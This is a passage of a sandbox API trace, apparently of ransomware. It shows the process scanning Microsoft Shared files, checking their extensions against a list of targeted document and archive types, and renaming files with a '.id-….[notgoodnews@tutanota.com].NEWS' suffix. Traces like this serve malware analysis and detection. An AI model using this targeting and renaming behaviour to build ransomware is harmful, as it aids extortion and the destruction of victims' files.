Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.352] lstrlenW (lpString=".doc") returned 4 [0223.352] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0223.352] lstrlenW (lpString=".docx") returned 5 [0223.352] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0223.352] lstrlenW (lpString=".pdf") returned 4 [0223.352] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0223.352] lstrlenW (lpString=".xls") returned 4 [0223.353] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0223.353] lstrlenW (lpString=".xlsx") returned 5 [0223.353] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0223.353] lstrlenW (lpString=".ppt") returned 4 [0223.353] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0223.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.354] lstrlenW (lpString=".zip") returned 4 [0223.355] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0223.355] lstrlenW (lpString=".rar") returned 4 [0223.355] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0223.355] lstrlenW (lpString=".bz2") returned 4 [0223.355] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0223.355] lstrlenW (lpString=".7z") returned 3 [0223.355] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0223.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.356] lstrlenW (lpString=".dbf") returned 4 [0223.356] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0223.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.356] lstrlenW (lpString=".1cd") returned 4 [0223.356] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0223.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.356] lstrlenW (lpString=".jpg") returned 4 [0223.356] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0223.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.357] lstrlenW (lpString=".doc") returned 4 [0223.357] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0223.357] lstrlenW (lpString=".docx") returned 5 [0223.357] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0223.357] lstrlenW (lpString=".pdf") returned 4 [0223.358] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0223.358] lstrlenW (lpString=".xls") returned 4 [0223.358] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0223.358] lstrlenW (lpString=".xlsx") returned 5 [0223.358] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0223.358] lstrlenW (lpString=".ppt") returned 4 [0223.358] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0223.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.358] lstrlenW (lpString=".zip") returned 4 [0223.359] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0223.359] lstrlenW (lpString=".rar") returned 4 [0223.359] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0223.359] lstrlenW (lpString=".bz2") returned 4 [0223.359] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0223.359] lstrlenW (lpString=".7z") returned 3 [0223.359] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0223.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.359] lstrlenW (lpString=".dbf") returned 4 [0223.359] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0223.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.360] lstrlenW (lpString=".1cd") returned 4 [0223.360] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0223.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.360] lstrlenW (lpString=".jpg") returned 4 [0223.360] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0223.360] lstrcmpiW (lpString1=".INF", lpString2=".NEWS") returned -1 [0223.361] lstrlenW (lpString="EXPEDITN.INF") returned 12 [0223.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.579] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=597) returned 1 [0225.579] CloseHandle (hObject=0x398) returned 1 [0225.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf")) returned 0x20 [0225.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.581] lstrlenW (lpString=".doc") returned 4 [0225.581] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.581] lstrlenW (lpString=".docx") returned 5 [0225.581] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0225.581] lstrlenW (lpString=".pdf") returned 4 [0225.581] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.581] lstrlenW (lpString=".xls") returned 4 [0225.581] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.581] lstrlenW (lpString=".xlsx") returned 5 [0225.581] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0225.582] lstrlenW (lpString=".ppt") returned 4 [0225.582] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.582] lstrlenW (lpString=".zip") returned 4 [0225.582] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.582] lstrlenW (lpString=".rar") returned 4 [0225.582] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.582] lstrlenW (lpString=".bz2") returned 4 [0225.582] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.582] lstrlenW (lpString=".7z") returned 3 [0225.582] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.582] lstrlenW (lpString=".dbf") returned 4 [0225.583] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.583] lstrlenW (lpString=".1cd") returned 4 [0225.583] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.583] lstrlenW (lpString=".jpg") returned 4 [0225.583] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.584] lstrlenW (lpString=".doc") returned 4 [0225.584] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.584] lstrlenW (lpString=".docx") returned 5 [0225.584] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0225.585] lstrlenW (lpString=".pdf") returned 4 [0225.585] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.585] lstrlenW (lpString=".xls") returned 4 [0225.585] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.585] lstrlenW (lpString=".xlsx") returned 5 [0225.585] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0225.585] lstrlenW (lpString=".ppt") returned 4 [0225.585] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.585] lstrlenW (lpString=".zip") returned 4 [0225.586] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.586] lstrlenW (lpString=".rar") returned 4 [0225.586] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.586] lstrlenW (lpString=".bz2") returned 4 [0225.586] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.586] lstrlenW (lpString=".7z") returned 3 [0225.586] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.586] lstrlenW (lpString=".dbf") returned 4 [0225.586] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.586] lstrlenW (lpString=".1cd") returned 4 [0225.587] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0225.587] lstrlenW (lpString=".jpg") returned 4 [0225.587] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.587] lstrcmpiW (lpString1=".ELM", lpString2=".NEWS") returned -1 [0225.587] lstrlenW (lpString="WATERMAR.ELM") returned 12 [0225.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.657] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=49094) returned 1 [0225.657] CloseHandle (hObject=0x398) returned 1 [0225.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm")) returned 0x20 [0225.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.686] lstrlenW (lpString=".doc") returned 4 [0225.686] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.686] lstrlenW (lpString=".docx") returned 5 [0225.686] lstrcmpiW (lpString1=".docx", lpString2="R.ELM") returned -1 [0225.686] lstrlenW (lpString=".pdf") returned 4 [0225.686] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.686] lstrlenW (lpString=".xls") returned 4 [0225.687] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.687] lstrlenW (lpString=".xlsx") returned 5 [0225.687] lstrcmpiW (lpString1=".xlsx", lpString2="R.ELM") returned -1 [0225.687] lstrlenW (lpString=".ppt") returned 4 [0225.687] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.687] lstrlenW (lpString=".zip") returned 4 [0225.687] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.687] lstrlenW (lpString=".rar") returned 4 [0225.687] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.687] lstrlenW (lpString=".bz2") returned 4 [0225.687] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.688] lstrlenW (lpString=".7z") returned 3 [0225.688] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.688] lstrlenW (lpString=".dbf") returned 4 [0225.688] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.688] lstrlenW (lpString=".1cd") returned 4 [0225.688] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.689] lstrlenW (lpString=".jpg") returned 4 [0225.689] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.689] lstrlenW (lpString=".doc") returned 4 [0225.690] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.690] lstrlenW (lpString=".docx") returned 5 [0225.690] lstrcmpiW (lpString1=".docx", lpString2="R.ELM") returned -1 [0225.690] lstrlenW (lpString=".pdf") returned 4 [0225.690] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.690] lstrlenW (lpString=".xls") returned 4 [0225.690] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.690] lstrlenW (lpString=".xlsx") returned 5 [0225.691] lstrcmpiW (lpString1=".xlsx", lpString2="R.ELM") returned -1 [0225.691] lstrlenW (lpString=".ppt") returned 4 [0225.691] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.691] lstrlenW (lpString=".zip") returned 4 [0225.691] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.691] lstrlenW (lpString=".rar") returned 4 [0225.691] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.691] lstrlenW (lpString=".bz2") returned 4 [0225.691] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.691] lstrlenW (lpString=".7z") returned 3 [0225.692] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.692] lstrlenW (lpString=".dbf") returned 4 [0225.692] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.692] lstrlenW (lpString=".1cd") returned 4 [0225.692] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0225.692] lstrlenW (lpString=".jpg") returned 4 [0225.692] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.693] lstrcmpiW (lpString1=".ITS", lpString2=".NEWS") returned -1 [0225.693] lstrlenW (lpString="MSB1ARFR.ITS") returned 12 [0225.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.701] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=1658904) returned 1 [0225.701] CloseHandle (hObject=0x398) returned 1 [0225.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0x20 [0225.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0225.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.704] lstrlenW (lpString=".doc") returned 4 [0225.704] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0225.704] lstrlenW (lpString=".docx") returned 5 [0225.704] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0225.704] lstrlenW (lpString=".pdf") returned 4 [0225.704] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0225.704] lstrlenW (lpString=".xls") returned 4 [0225.704] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0225.704] lstrlenW (lpString=".xlsx") returned 5 [0225.704] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0225.704] lstrlenW (lpString=".ppt") returned 4 [0225.705] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0225.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.705] lstrlenW (lpString=".zip") returned 4 [0225.705] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0225.705] lstrlenW (lpString=".rar") returned 4 [0225.705] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0225.705] lstrlenW (lpString=".bz2") returned 4 [0225.705] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0225.705] lstrlenW (lpString=".7z") returned 3 [0225.705] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0225.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.705] lstrlenW (lpString=".dbf") returned 4 [0225.706] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0225.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.706] lstrlenW (lpString=".1cd") returned 4 [0225.706] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0225.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.706] lstrlenW (lpString=".jpg") returned 4 [0225.706] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0225.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.707] lstrlenW (lpString=".doc") returned 4 [0225.707] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0225.707] lstrlenW (lpString=".docx") returned 5 [0225.707] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0225.707] lstrlenW (lpString=".pdf") returned 4 [0225.707] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0225.707] lstrlenW (lpString=".xls") returned 4 [0225.707] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0225.707] lstrlenW (lpString=".xlsx") returned 5 [0225.707] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0225.707] lstrlenW (lpString=".ppt") returned 4 [0225.707] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0225.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.707] lstrlenW (lpString=".zip") returned 4 [0225.707] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0225.708] lstrlenW (lpString=".rar") returned 4 [0225.708] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0225.708] lstrlenW (lpString=".bz2") returned 4 [0225.708] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0225.708] lstrlenW (lpString=".7z") returned 3 [0225.708] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0225.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.708] lstrlenW (lpString=".dbf") returned 4 [0225.708] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0225.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.708] lstrlenW (lpString=".1cd") returned 4 [0225.708] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0225.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0225.709] lstrlenW (lpString=".jpg") returned 4 [0225.709] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0225.710] lstrcmpiW (lpString1=".ITS", lpString2=".NEWS") returned -1 [0225.710] lstrlenW (lpString="MSB1ENES.ITS") returned 12 [0225.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.711] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=978206) returned 1 [0225.711] CloseHandle (hObject=0x398) returned 1 [0225.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0225.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.712] lstrlenW (lpString=".doc") returned 4 [0225.713] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0225.713] lstrlenW (lpString=".docx") returned 5 [0225.713] lstrcmpiW (lpString1=".docx", lpString2="S.ITS") returned -1 [0225.713] lstrlenW (lpString=".pdf") returned 4 [0225.713] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0225.713] lstrlenW (lpString=".xls") returned 4 [0225.713] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0225.714] lstrlenW (lpString=".xlsx") returned 5 [0225.714] lstrcmpiW (lpString1=".xlsx", lpString2="S.ITS") returned -1 [0225.714] lstrlenW (lpString=".ppt") returned 4 [0225.714] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0225.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.714] lstrlenW (lpString=".zip") returned 4 [0225.714] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0225.714] lstrlenW (lpString=".rar") returned 4 [0225.714] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0225.715] lstrlenW (lpString=".bz2") returned 4 [0225.715] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0225.715] lstrlenW (lpString=".7z") returned 3 [0225.715] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0225.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.715] lstrlenW 